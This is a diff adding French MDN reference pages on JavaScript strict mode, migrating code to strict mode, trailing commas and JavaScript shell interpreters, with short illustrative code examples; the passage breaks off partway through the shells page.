+<p>Deuxièmement, en mode strict on ne donnera pas d'alias aux propriétés de <code>arguments</code> avec les objets créées dans la fonction. En code normal, dans une fonction dont le premier argument est <code>arg</code>, modifier <code>arg</code> modifiera aussi <code>arguments[0]</code>, et vice versa (à moins qu'aucun argument ne soit fourni ou que <code>arguments[0]</code> soit supprimé). Les objets de <code>arguments</code> pour les fonctions en mode strict stockent les argument originaux, au moment où la fonction a été appelée. <code>arguments[i]</code> ne reflète pas la valeur de l'argument nommé correspondant, et vice-versa.</p>
+
+<pre class="brush: js">function f(a) {
+  "use strict";
+  a = 42;
+  return [a, arguments[0]];
+}
+var pair = f(17);
+console.log(pair[0] === 42);
+console.log(pair[1] === 17);
+</pre>
+
+<p>Troisièmement, <code>arguments.callee</code> n'est plus supporté. En temps normal <code>arguments.callee</code> contient la référence de la fonction courante. Il suffit d'appeler la fonction courante par son nom si elle n'est pas anonyme. <code>arguments.callee</code> en mode strict est une propriété non supprimable qui lèvera une erreur si elle est définie ou récupérée :</p>
+
+<pre class="brush: js">"use strict";
+var f = function() { return arguments.callee; };
+f(); // lève une TypeError
+</pre>
+
+<h3 id="«_Sécuriser_»_JavaScript">« Sécuriser » JavaScript</h3>
+
+<p>Le mode strict permet d'écrire plus simplement du code JavaScript sûr. Certains sites web fournissent aujourd'hui des outils pour que les utilisateurs puissent écrire du JavaScript qui sera exécuté sur le site pour les autres utilisateurs. Dans un navigateur web, le JavaScript peut accéder à certaines informations privées de l'utilisateur. Il faut donc transformer le JavaScript écrit par un utilisateur externe pour que le code correspondant soit exécuté de façon sécurisée pour les autres utilisateurs. Pour ce faire, il faut effectuer des vérifications au moment de l'exécution. En effet, JavaScript est suffisamment flexible pour que vérifier du code avant l'exécution soit très complexe voire impossible. En revanche, vérifier le comportement du code lors de l'exécution a un coût sur les performances. Pour réduire ce nombre de vérifications et bénéficier de meilleures performances dans ce scénario, on peut restreindre le code qui peut être envoyé à du code en mode strict.</p>
+
+<p>Tout d'abord, la valeur passée en tant que <code>this</code> à une fonction n'est pas nécessairement transformée en un objet en mode strict. Pour une fonction « normale », <code>this</code> est toujours un objet : soit l'objet fourni si la valeur fournie pour <code>this</code> était un objet, soit la valeur, transformée en un objet quand c'est un booléen, une chaîne de caractères ou un nombre. Cette valeur peut également être l'objet global si <code>this</code> vaut <code>null</code> ou <code>undefined</code> lorsqu'il est passé à la fonction. (Les fonctions {{jsxref("Function.prototype.call()")}}, {{jsxref("Function.prototype.apply()")}} ou {{jsxref("Function.prototype.bind()")}} peuvent être utilisées lorsqu'on souhaite spécifier une certaine valeur pour <code>this</code>.) Cette conversion automatique en objet a un certain coût en termes de performances mais cela peut également exposer l'objet global ce qui est dangereux dans les navigateurs : en effet, l'objet global permet d'accéder à certaines fonctionnalités qui rendraient le code non-sécurisé. Ainsi, en mode strict, la valeur <code>this</code> n'est pas transformée en un objet et si elle n'est pas définie, <code>this</code> sera {{jsxref("undefined")}} :</p>
+
+<pre class="brush: js">"use strict";
+function fun() { return this; }
+console.log(fun() === undefined);
+console.log(fun.call(2) === 2);
+console.log(fun.apply(null) === null);
+console.log(fun.call(undefined) === undefined);
+console.log(fun.bind(true)() === true);
+</pre>
+
+<p>Cela signifie entre autres qu'il est impossible de faire référence à l'objet <code>window</code> du navigateur grâce à <code>this</code> au sein d'une fonction en mode strict.</p>
+
+<p>Ensuite, en mode strict, il n'est plus possible de remonter la pile d'appels grâce aux extensions communément implémentées. Par exemple, dans du code non strict, lorsqu'une fonction <code>fun</code> est en train d'être appelée, <code>fun.caller</code> fait référence à la fonction qui a appelé <code>fun</code> la dernière et <code>fun.arguments</code> correspond à l'objet <code>arguments</code> pour cet appel à <code>fun</code>. Ces deux extensions posent problème pour la sécurité car elles permettent au code d'accéder à des fonctions privilégiées et à leurs arguments (éventuellement non sécurisés). Si <code>fun</code> est passée en mode strict, <code>fun.caller</code> et <code>fun.arguments</code> seront des propriétés non-supprimables qui lèveront une exception pour chaque tentative d'accès ou de modification :</p>
+
+<pre class="brush: js">function restricted()
+{
+  "use strict";
+  restricted.caller;    // lève une TypeError
+  restricted.arguments; // lève une TypeError
+}
+function privilegedInvoker()
+{
+  return restricted();
+}
+privilegedInvoker();
+</pre>
+
+<p>Enfin, pour une fonction en mode strict, <code>arguments</code> ne permet pas d'accéder aux variables passées à la fonction lors de l'appel. Dans certaines anciennes implémentations d'ECMAScript, <code>arguments.caller</code> était un objet dont les propriétés étaient des alias pour les variables passées à la fonction. Cela entraîne <a class="external" href="https://stuff.mit.edu/iap/2008/facebook/">un problème de sécurité</a> car cela empêche de cacher des valeurs privilégiées via l'abstraction des fonctions. Cela empêche aussi de nombreuses optimisations. Pour ces raisons, les navigateurs récents n'implémentent plus cet objet. Cependant, étant donné sa présence historique, en mode strict, <code>arguments.caller</code> est une propriété non-supprimable qui déclenche une exception pour toute tentative d'accès ou de modification :</p>
+
+<pre class="brush: js">"use strict";
+function fun(a, b)
+{
+  "use strict";
+  var v = 12;
+  return arguments.caller; // lève une TypeError
+}
+fun(1, 2); // n'expose pas v (ni a ou b)
+</pre>
+
+<h3 id="Prévoir_la_suite_les_prochaines_versions_d'ECMAScript">Prévoir la suite : les prochaines versions d'ECMAScript</h3>
+
+<p>Les prochaines versions d'ECMAScript inclueront certainement une nouvelle syntaxe, de nouveaux mots-clés. Le mode strict d'ECMAScript 5 applique certaines restrictions qui permettent de prévoir les transitions à venir lorsque des changements auront lieu. Il sera ainsi plus simple de modifier le code si les erreurs relatives à une nouvelle syntaxe sont mises en avant grâce au mode strict.</p>
+
+<p>Premièrement, en mode strict, une liste d'identifiants fait partie des mots-clés réservés. Ces termes sont : <code>implements</code>, <code>interface</code>, <code>let</code>, <code>package</code>, <code>private</code>, <code>protected</code>, <code>public</code>, <code>static</code>, et <code>yield</code>. En mode strict, il est donc impossible de nommer des variables ou des arguments avec ces noms.</p>
+
+<pre class="brush: js">function package(protected) { // !!!
+  "use strict";
+  var implements; // !!!
+
+  interface: // !!!
+  while (true) {
+    break interface; // !!!
+  }
+
+  function private() { } // !!!
+}
+function fun(static) { 'use strict'; } // !!!
+
+</pre>
+
+<p>Deux défauts liés à Mozilla Firefox : tout d'abord si votre code est en JavaScript 1.7 ou supérieur (par exemple pour du code qui concerne le chrome dans les extensions ou lorsqu'on utilise les balises <code>&lt;script type=""&gt;</code>) et qu'il est en mode strict, <code>let</code> et <code>yield</code> fonctionnent de la façon dont ils fonctionnaient originellement au sein de Firefox. En revanche, pour du code strict utilisé sur une page web et chargé avec <code>&lt;script src=""&gt;</code> ou <code>&lt;script&gt;...&lt;/script&gt;</code>, on ne pourra pas utiliser <code>let</code>/<code>yield</code> comme identifiants. Ensuite, bien qu'ES5 réserve les mots-clés <code>class</code>, <code>enum</code>, <code>export</code>, <code>extends</code>, <code>import</code>, et <code>super</code> pour le mode strict et le mode non strict, les versions antérieures à Firefox 5 ne réservaient ces mots-clés que pour le mode strict.</p>
+
+<p>Deuxièmement, <a class="external" href="https://whereswalden.com/2011/01/24/new-es5-strict-mode-requirement-function-statements-not-at-top-level-of-a-program-or-function-are-prohibited/">le mode strict interdit les déclarations de fonctions qui ne sont pas au niveau le plus haut d'un script ou d'une fonction</a>. En mode normal, il est possible de déclarer une fonction n'importe où avec une déclaration de fonction (voir {{jsxref("Instructions/function","function")}}). Ceci ne fait pas partie de la spécification ECMAScript et est donc une extension. <a class="external" href="https://wiki.ecmascript.org/doku.php?id=conventions:no_non_standard_strict_decls">Le mode strict interdit cela</a>, ce qui permet de lever toute ambiguité par rapport aux futures spécifications ECMAScript sur cette fonctionnalité.  On notera que les instructions de fonctions écrites en dehors du plus haut niveau sont autorisées avec ES2015 :</p>
+
+<pre class="brush: js">"use strict";
+if (true) {
+  function f() { } // !!! erreur de syntaxe
+  f();
+}
+
+for (var i = 0; i &lt; 5; i++) {
+  function f2() { } // !!! erreur de syntaxe
+  f2();
+}
+
+function truc() { // OK
+  function bidule() { } // OK également
+}
+</pre>
+
+<p>Cette interdiction n'est pas, à proprement parler, liée au mode strict. En effet, de telles déclarations de fonctions ne font pas partie d'ES5. Cependant, c'est un choix du comité ECMAScript que cette interdiction soit implémentée.</p>
+
+<h2 id="Le_mode_strict_dans_les_navigateurs">Le mode strict dans les navigateurs</h2>
+
+<p>Désormais, l'ensemble des navigateurs majeurs implémentent le mode strict. Cependant, il existe toujours un certain nombre de disparités et certains navigateurs actuels ou avec leurs anciennes versions ne supportent pas le mode strict. Le mode strict modifie des éléments de sémantique de JavaScript ; faire appel au mode strict pour des navigateurs qui ne le supportent pas peut donc entraîner des erreurs indésirables. Pour cette raison, il faut faire attention à la façon dont on exécute du code strict et bien tester ce code sur l'ensemble des navigateurs : ceux qui supportent le mode strict comme ceux qui ne supportent pas ce mode.</p>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-10.1.1', 'Strict Mode Code')}}<br>
+    {{SpecName('ES5.1', '#sec-C', 'Strict mode restriction and exceptions')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td>Définition initiale. Voir aussi : <a href="https://www.ecma-international.org/ecma-262/5.1/#sec-C">les restrictions du mode strict et les exceptions</a></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES2015', '#sec-strict-mode-code', 'Strict Mode Code')}}<br>
+    {{SpecName('ES2015', '#sec-strict-mode-of-ecmascript', 'Strict mode restriction and exceptions')}}</td>
+   <td>{{Spec2('ES2015')}}</td>
+   <td><a href="https://www.ecma-international.org/ecma-262/6.0/#sec-strict-mode-of-ecmascript">Les restrictions du mode strict et les exceptions</a></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-strict-mode-code', 'Strict Mode Code')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td><a href="https://tc39.github.io/ecma262/#sec-strict-mode-of-ecmascript">Les restrictions du mode strict et les exceptions</a></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li><a class="external" href="https://whereswalden.com/2010/09/08/new-es5-strict-mode-support-now-with-poison-pills/">Where's Walden? » New ES5 strict mode support: now with poison pills!</a> (billet en anglais)</li>
+ <li><a class="external" href="https://whereswalden.com/2011/01/24/new-es5-strict-mode-requirement-function-statements-not-at-top-level-of-a-program-or-function-are-prohibited/">Where's Walden? » New ES5 strict mode requirement: function statements not at top level of a program or function are prohibited</a> (billet en anglais)</li>
+ <li><a class="external" href="https://whereswalden.com/2011/01/10/new-es5-strict-mode-support-new-vars-created-by-strict-mode-eval-code-are-local-to-that-code-only/">Where's Walden? » New ES5 strict mode support: new vars created by strict mode eval code are local to that code only</a> (billet en anglais)</li>
+ <li><a class="external" href="https://ejohn.org/blog/ecmascript-5-strict-mode-json-and-more/">John Resig - ECMAScript 5 Strict Mode, JSON, and More</a> (billet en anglais)</li>
+ <li><a class="external" href="https://dmitrysoshnikov.com/ecmascript/es5-chapter-2-strict-mode/">ECMA-262-5 in detail. Chapter 2. Strict Mode.</a> (billet en anglais)</li>
+ <li><a class="external" href="https://kangax.github.io/compat-table/es5/#Strict_mode">Tableau de compatibilité pour le mode strict</a> (Kangax)</li>
+ <li><a href="/fr/docs/Web/JavaScript/Reference/Strict_mode/Passer_au_mode_strict">Passer au mode strict</a></li>
+</ul>
diff --git a/files/fr/web/javascript/reference/strict_mode/passer_au_mode_strict/index.html b/files/fr/web/javascript/reference/strict_mode/passer_au_mode_strict/index.html
new file mode 100644
index 0000000000..029cf4b22c
--- /dev/null
+++ b/files/fr/web/javascript/reference/strict_mode/passer_au_mode_strict/index.html
@@ -0,0 +1,141 @@
+---
+title: Passer au mode strict
+slug: Web/JavaScript/Reference/Strict_mode/Passer_au_mode_strict
+tags:
+  - Avancé
+  - JavaScript
+translation_of: Web/JavaScript/Reference/Strict_mode/Transitioning_to_strict_mode
+---
+<div>{{jsSidebar("More")}}</div>
+
+<p>Le <a href="/fr/docs/Web/JavaScript/Reference/Strict_mode">mode strict</a> fut introduit avec ECMAScript 5 et est désormais présent dans les principaux navigateurs. Pour indiquer au navigateur l'utilisation de ce mode, il suffit d'ajouter <code>"use strict";</code> au début du code source. En revanche, il faut un peu plus de travail afin de migrer une base de code existante afin qu'elle utilise intégralement le mode strict.</p>
+
+<p>Cet article a pour but de guider les développeurs qui souhaitent effectuer cette migration.</p>
+
+<h2 id="Transition_progressive">Transition progressive</h2>
+
+<p>Le mode strict a été conçu afin que la transition puisse être effectuée de façon progressive. Il est possible de modifier chaque fichier individuellement voire, éventuellement, de descendre cette granularité aux fonctions.</p>
+
+<h2 id="Différences_entre_strict_et_non-strict">Différences entre strict et non-strict</h2>
+
+<h3 id="Erreurs_de_syntaxe">Erreurs de syntaxe</h3>
+
+<p>En utilisant <code>"use strict";</code>, certaines instructions ou fragments de code lanceront une exception {{jsxref("SyntaxError")}} avant l'exécution du script :</p>
+
+<ul>
+ <li>La syntaxe pour la base octale : <code>var n = 023;</code></li>
+ <li>L'instruction {{jsxref("Instructions/with","with")}}</li>
+ <li>L'instruction {{jsxref("Instructions/delete","delete")}} pour un nom de variable <code>delete maVariable</code>;</li>
+ <li>L'utilisation de {{jsxref("Objets_globaux/eval","eval()")}} ou {{jsxref("Fonctions/arguments","arguments")}} comme un nom de variable ou un nom d'argument</li>
+ <li>L'utilisation d'un des nouveaux mots-clés réservés (en prévision d'ECMAScript 2015 (ES6)) : <code>implements</code>, <code>interface</code>, <code>let</code>, <code>package</code>, <code>private</code>, <code>protected</code>, <code>public</code>, <code>static</code>, et <code>yield</code></li>
+ <li>La déclaration de fonctions dans des blocs <code>if(a&lt;b){ function f(){} }</code></li>
+ <li>Les erreurs évidentes
+  <ul>
+   <li>Déclarer deux fois le nom d'une propriété dans un littéral objet<code> {a: 1, b: 3, a: 7}</code>. Ceci n'est plus le cas pour ECMAScript 2015 (ES6) : {{bug(1041128)}}</li>
+   <li>Déclarer deux arguments de fonction avec le même nom<code> function f(a, b, b){}</code></li>
+  </ul>
+ </li>
+</ul>
+
+<p>Ces erreurs sont bienvenues car elles révèlent des mauvaises pratiques et certaines erreurs claires. Elles apparaissent avant l'exécution du code.</p>
+
+<h3 id="Erreurs_à_l'exécution">Erreurs à l'exécution</h3>
+
+<p>JavaScript échoue silencieusement dans certains contextes où une erreur se produit. Le mode strict lance une exception dans ces cas. Si votre code contient certains de ces cas, il sera nécessaire de faire des tests afin de vous assurer que rien n'est cassé. Encore une fois, il est possible d'utiliser le mode strict à la granularité des fonctions.</p>
+
+<h4 id="Attribuer_une_valeur_à_une_variable_non_déclarée">Attribuer une valeur à une variable non déclarée</h4>
+
+<pre class="brush: js">function f(x){
+  "use strict";
+  var a = 12;
+  b = a + x*35; // erreur !
+}
+f(42);
+</pre>
+
+<p>Cela a pour effet de changer une valeur de l'objet global, ce qui est rarement voulu. Si vous souhaitez définir une valeur pour l'objet global, utilisez le comme argument et assignez la propriété de façon explicite :</p>
+
+<pre class="brush: js">// au niveau le plus haut "this" fait toujours référence
+// à l'objet global
+var global = this;
+
+function f(x){
+  "use strict";
+  var a = 12;
+  global.b = a + x*35;
+}
+f(42);
+</pre>
+
+<h4 id="Essayer_de_supprimer_une_propriété_non-configurable">Essayer de supprimer une propriété non-configurable</h4>
+
+<pre class="brush: js">"use strict";
+delete Object.prototype; // erreur !
+</pre>
+
+<p>En mode non-strict, cela serait passé sous silence (contrairement à ce à quoi l'utilisateur pourrait s'attendre).</p>
+
+<h4 id="Utiliser_les_mauvaises_propriétés_d'arguments_et_function">Utiliser les mauvaises propriétés d'arguments et function</h4>
+
+<p>Utiliser <code>arguments.callee</code>, <code>arguments.caller</code>, <code>anyFunction.caller</code> ou encore <code>anyFunction.arguments</code> renverra une erreur en mode strict. Le seul cas légitime pour les utiliser serait :</p>
+
+<pre class="brush: js">// exemple tiré de vanillajs: http://vanilla-js.com/
+var s = document.getElementById('truc').style;
+s.opacity = 1;
+(function(){
+  if((s.opacity-=.1) &lt; 0)
+    s.display="none";
+  else
+    setTimeout(arguments.callee, 40);
+})();</pre>
+
+<p>qu'on peut réécrire en :</p>
+
+<pre class="brush: js">"use strict";
+var s = document.getElementById('truc').style;
+s.opacity = 1;
+(function fadeOut(){ // on nomme la fonction
+  if((s.opacity-=.1) &lt; 0)
+    s.display="none";
+  else
+    setTimeout(fadeOut, 40); // on utilise ce nom
+})();</pre>
+
+<h3 id="Les_différences_sémantiques">Les différences sémantiques</h3>
+
+<p>Ces différences sont très subtiles et il est possible qu'un ensemble de tests ne détecte pas ces différences. Il peut être alors nécessaire d'analyser votre code avec précaution afin de vérifier que la signification du code n'ait pas changé. Encore une fois, cela peut être fait fonction par fonction.</p>
+
+<h4 id="Le_sens_de_this_dans_les_appels_de_fonction">Le sens de <code>this</code> dans les appels de fonction</h4>
+
+<p>Lors de l'appel à une fonction comme <code>f()</code>, la valeur de <code>this</code> correspondait à l'objet global. En mode strict, cette valeur devient <code>undefined</code>. Lorsqu'une fonction était appelée avec {{jsxref("Function.prototype.call","call()")}} ou {{jsxref("Function.prototype.apply","apply()")}}, si la valeur était une valeur primitive, elle était placée dans un objet (ou dans l'objet global pour <code>undefined</code> et <code>null</code>). En mode strict, la valeur est passée directement, sans conversion ni remplacement.</p>
+
+<h4 id="arguments_ne_crée_pas_d'alias_pour_les_arguments_nommés_d'une_fonction"><code>arguments</code> ne crée pas d'alias pour les arguments nommés d'une fonction</h4>
+
+<p>En mode non-strict, la modification d'une valeur de l'objet <code>arguments</code> entraînait la modification de l'argument correspondant. Cela complexifie les optimisations des moteurs JavaScript et et la lecture du code. En mode strict, l'objet <code>arguments</code> est créé et initialisé avec les mêmes valeurs que les arguments nommés. En revanche, les changements apportés à l'objet <code>arguments</code> ou aux arguments nommés ne sont pas reproduit de l'un vers l'autre et réciproquement.</p>
+
+<h4 id="Changements_apportés_à_eval">Changements apportés à <code>eval</code></h4>
+
+<p>En mode strict, <code>eval</code> ne crée pas de nouvelle variable dans la portée depuis laquelle il a été appelé. Bien entendu, la chaîne évaluée est évaluée selon les règles du mode strict. Pour s'assurer du bon fonctionnement de cette évaluation, il faut s'assurer des cas de figures qui s'y présentent pour les tester. Rappel : il ne faut utiliser <code>eval</code> que si cela est nécessaire (les dangers liés à cette fonction font qu'on observe de mauvaises pratiques).</p>
+
+<h2 id="La_neutralité_du_code_quant_au_mode_strict">La neutralité du code quant au mode strict</h2>
+
+<p>Un des aspects négatifs de cette migration est la sémantique : le sens du code pourrait être différent dans les navigateurs historiques qui n'implémentent pas le mode strict. Dans quelques rares cas (une mauvaise concaténation ou minification), votre code pourrait ne pas fonctionner dans le mode que vous avez testé. Voici quelques règles pour que le code soit le plus neutre possible quant au mode choisi (strict ou non-strict) :</p>
+
+<ol>
+ <li>Écrivez votre code « strictement » et assurez vous de lancer des exceptions dans le cadre d'erreurs liées au mode non-strict (voir la section « Erreurs à l'exécution » ci-avant)</li>
+ <li>Minimisez l'utilisation des éléments dont la sémantique pourrait changer :
+  <ol>
+   <li><code>eval </code>: n'utilisez cette fonction uniquement si vous êtes certains que c'est l'unique solution</li>
+   <li><code>arguments</code> : utilisez les arguments d'une fonction via leur nom ou faites une copie de l'objet en utilisant :<br>
+    <code>var args = Array.prototype.slice.call(arguments)</code><br>
+    au tout début de votre fonction</li>
+   <li><code>this</code> : n'utilisez <code>this</code> que pour faire référence à un objet que vous avez créé</li>
+  </ol>
+ </li>
+</ol>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li><a href="/fr/docs/Web/JavaScript/Reference/Strict_mode">Le mode strict</a></li>
+</ul>
diff --git a/files/fr/web/javascript/reference/virgules_finales/index.html b/files/fr/web/javascript/reference/virgules_finales/index.html
new file mode 100644
index 0000000000..a9cc88ac47
--- /dev/null
+++ b/files/fr/web/javascript/reference/virgules_finales/index.html
@@ -0,0 +1,183 @@
+---
+title: Virgules finales (trailing commas)
+slug: Web/JavaScript/Reference/Virgules_finales
+tags:
+  - ECMAScript2017
+  - ECMAScript5
+  - JavaScript
+  - Syntaxe
+  - Virgule
+translation_of: Web/JavaScript/Reference/Trailing_commas
+---
+<div>{{JsSidebar("More")}}</div>
+
+<p>Les <strong>virgules finales</strong> (<em>trailing commas</em> en anglais) s'avèrent utiles lorsqu'on souhaite ajouter de nouveaux éléments, paramètres ou de nouvelles propriétés à du code JavaScript. Si on souhaite ajouter une propriété en fin de course, on peut simplement ajouter une ligne sans avoir à modifier la précédente si celle-ci utilise une virgule finale. Cela permet d'avoir des vues de différences (<em>diffs</em>) plus claires et de simplifier l'édition de code.</p>
+
+<p>Les virgules finales peuvent être utilisées dans les littéraux de tableau depuis le début. Elles sont été ajoutées dans les littéraux objets à partir d'ECMAScript 5 et ECMAScript 2017 permet de les utiliser dans la liste des paramètres d'une fonction.</p>
+
+<p>{{Glossary("JSON")}}, en revanche, ne permet pas d'utiliser des virgules finales.</p>
+
+<h2 id="Les_virgules_finales_dans_les_littéraux">Les virgules finales dans les littéraux</h2>
+
+<h3 id="Tableaux">Tableaux</h3>
+
+<p>JavaScript ignore les virgules finales dans les tableaux :</p>
+
+<pre class="brush: js">var arr = [
+  1,
+  2,
+  3,
+];
+
+arr; // [1, 2, 3]
+arr.length; // 3</pre>
+
+<p>Si plusieurs virgules finales sont utilisées, cela crée un vide dans le tableau. Un tableau avec des vides est parfois qualifié de <em>parsemé</em> (ou <em>sparse</em> en anglais). Lorsqu'on parcourt un tableau avec les méthodes {{jsxref("Array.prototype.forEach()")}} ou {{jsxref("Array.prototype.map()")}}, par exemple, ces vides sont ignorés.</p>
+
+<pre class="brush: js">var arr = [1, 2, 3,,,];
+arr.length; // 5
+</pre>
+
+<h3 id="Objets">Objets</h3>
+
+<p>À partir d'ECMAScript 5, on peut également utiliser les virgules finales dans les littéraux objets :</p>
+
+<pre class="brush: js">var objet = {
+  toto: "truc",
+  bidule: "azerty",
+  age: 42,
+};</pre>
+
+<h2 id="Les_virgules_finales_dans_les_fonctions">Les virgules finales dans les fonctions</h2>
+
+<p>ECMAScript 2017 permet d'utiliser les virgules finales dans la liste des paramètres d'une fonction.</p>
+
+<h3 id="Définitions_des_paramètres">Définitions des paramètres</h3>
+
+<p>Pour chacune des deux paires de définitions qui suivent, les deux définitions sont autorisées et équivalentes entre elles. Les virgules finales n'ont pas d'impact sur la propriété <code>length</code> de la fonction ni sur l'objet <a href="/fr/docs/Web/JavaScript/Reference/Fonctions/arguments">arguments</a>.</p>
+
+<pre class="brush: js">function f(p) {}
+function f(p,) {}
+
+(p) =&gt; {};
+(p,) =&gt; {};
+</pre>
+
+<p>Les virgules finales peuvent également être utilisées lors <a href="/fr/docs/Web/JavaScript/Reference/Fonctions/Définition_de_méthode">des définitions de méthodes</a> dans les objets et les classes :</p>
+
+<pre class="brush: js">class C {
+  un(a,) {},
+  deux(a, b,) {},
+}
+
+var obj = {
+  un(a,) {},
+  deux(a, b,) {},
+};
+</pre>
+
+<h3 id="Appels_de_fonctions">Appels de fonctions</h3>
+
+<p>Pour chacune des deux paires d'appels qui suivent, les deux appels sont équivalents entre eux :</p>
+
+<pre class="brush: js">f(p);
+f(p,);
+
+Math.max(10, 20);
+Math.max(10, 20,);
+</pre>
+
+<h3 id="Virgules_finales_non-autorisées">Virgules finales non-autorisées</h3>
+
+<p>Les définitions de paramètres ou les appels de fonctions qui ne contiennent qu'une seule virgule lèveront une exception {{Jsxref("SyntaxError")}}. Par ailleurs, on ne peut pas utiliser de virgule finale avec <a href="/fr/docs/Web/JavaScript/Reference/Fonctions/paramètres_du_reste">les paramètres du reste</a> :</p>
+
+<pre class="brush: js example-bad">function f(,) {} // SyntaxError: missing formal parameter
+(,) =&gt; {};       // SyntaxError: expected expression, got ','
+f(,)             // SyntaxError: expected expression, got ','
+
+function f(...p,) {} // SyntaxError: parameter after rest parameter
+(...p,) =&gt; {}        // SyntaxError: expected closing parenthesis, got ','
+</pre>
+
+<h2 id="Les_virgules_finales_et_la_décomposition">Les virgules finales et la décomposition</h2>
+
+<p>On peut aussi utiliser une virgule finale dans l'opérande gauche lorsqu'on utilise <a href="/fr/docs/Web/JavaScript/Reference/Opérateurs/Affecter_par_décomposition">l'affectation par décomposition</a> :</p>
+
+<pre class="brush: js">// Décomposition d'un tableau avec
+// une virgule finale
+[a, b,] = [1, 2];
+
+// Décomposition d'un objet avec une
+// virgule finale
+var o = {
+  p: 42,
+  q: true,
+};
+var {p, q,} = o;
+</pre>
+
+<p>Là encore, si on utilise un élément du reste, une exception {{jsxref("SyntaxError")}} sera levée :</p>
+
+<pre class="brush: js example-bad">var [a, ...b,] = [1, 2, 3];
+// SyntaxError: rest element may not have a trailing comma</pre>
+
+<h2 id="Les_virgules_finales_en_JSON">Les virgules finales en JSON</h2>
+
+<p>L'utilisation des virgules finales dans les objets a été introduite avec ECMAScript 5. Toutefois, le format JSON est basé sur la syntaxe JavaScript antérieure à ES5 <strong>et les virgules finales sont donc interdites en JSON</strong>.</p>
+
+<p>Les deux lignes suivantes lèveront une exception {{jsxref("SyntaxError")}} :</p>
+
+<pre class="brush: js example-bad">JSON.parse('[1, 2, 3, 4, ]');
+JSON.parse('{"foo" : 1, }');
+// SyntaxError JSON.parse: unexpected character
+// at line 1 column 14 of the JSON data
+</pre>
+
+<p>Pour analyser le JSON correctement, on évitera les virgules finales :</p>
+
+<pre class="brush: js example-good">JSON.parse('[1, 2, 3, 4 ]');
+JSON.parse('{"foo" : 1 }');</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td>Ajout des virgules finales pour les littéraux objets.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td>Aucune modification.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES2017')}}</td>
+   <td>{{Spec2('ES2017')}}</td>
+   <td>Ajout des virgules finales à la liste des arguments d'une fonction (déclaration et appels).</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td>ES2017 added trailing function commas.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Ce tableau de compatibilité a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</div>
+
+<p>{{Compat("javascript.grammar.trailing_commas")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>La proposition initiale pour ECMAScript, déposée par Jeff Morrison, afin d'utiliser <a href="https://github.com/tc39/proposal-trailing-function-commas">les virgules finales dans les fonctions</a>.</li>
+</ul>
diff --git a/files/fr/web/javascript/shells/index.html b/files/fr/web/javascript/shells/index.html
new file mode 100644
index 0000000000..e20d41754e
--- /dev/null
+++ b/files/fr/web/javascript/shells/index.html
@@ -0,0 +1,43 @@
+---
+title: Shells JavaScript
+slug: Web/JavaScript/Shells
+tags:
+  - Extension
+  - JavaScript
+  - Tools
+translation_of: Web/JavaScript/Shells
+---
+<div>{{JsSidebar}}</div>
+
+<p>Un <em>shell</em> (ou une interface système) JavaScript permet de tester rapidement des fragments de code <a href="/fr/docs/Web/JavaScript">JavaScript</a> sans devoir recharger constamment une page web. Ce type d'outil est très utile pour développer et déboguer du code.</p>
+
+<h2 id="Des_shells_JavaScript_autonomes">Des shells JavaScript autonomes</h2>
+
+<p>Les shells JavaScript suivants sont des environnements autonomes, comme ceux que l'on peut trouver pour Perl ou Python.</p>
+
+<ul>
+ <li><a href="http://nodejs.org/">Node.js</a> - Node.js est une plateforme logicielle qui facilite la création d'applications réseau évolutives, elle est basée sur le moteur V8 de Chrome.</li>
+ <li><a href="http://www.jsdb.org/">JSDB</a> - Ce shell autonome propose des binaires compilés pour Windows, Mac et Linux.</li>
+ <li><a href="http://javalikescript.free.fr/">JavaLikeScript</a> - Ce shell autonome et extensible inclut des bibliothèques natives et JavaScript.</li>
+ <li><a href="http://gluescript.sourceforge.net/">GLUEscript</a> - Ce shell autonome permet d'écrire des applications multiplateformes avec JavaScript. Il peut utiliser wxWidgets pour créer des applications graphiques, et était initialement appelé wxJavaScript.</li>
+ <li><a href="http://jspl.msg.mx/">jspl</a> - Ce shell autonome est amélioré par Perl. Il peut utiliser des modules Perl directement depuis du code JavaScript : DBI pour se connecter à une base de données, GTK2 pour faire des applications graphiques, POSIX pour faire de la programmation système, etc. Bref, le meilleur de CPAN est à présent disponible pour les programmeurs JavaScript.</li>
+ <li><a href="http://shelljs.org">ShellJS</a> - Une interface en ligne de commandes Unix portable pour Node.js.</li>
+</ul>
+
+<h2 id="Liste_des_shells_JavaScript">Liste des shells JavaScript</h2>
+
+<p>Les shells suivants fonctionnent avec Mozilla.</p>
+
+<ul>
+ <li>Firefox intègre directement une <a href="/fr/docs/Outils/Ardoise">ardoise JavaScript</a> (aussi appelée Scratchpad) depuis la version 6.</li>
+ <li><a href="/fr/docs/Introduction_au_shell_JavaScript">JavaScript Shell</a> (<code>js</code>) - Un interpréteur JavaScript en ligne de commande.</li>
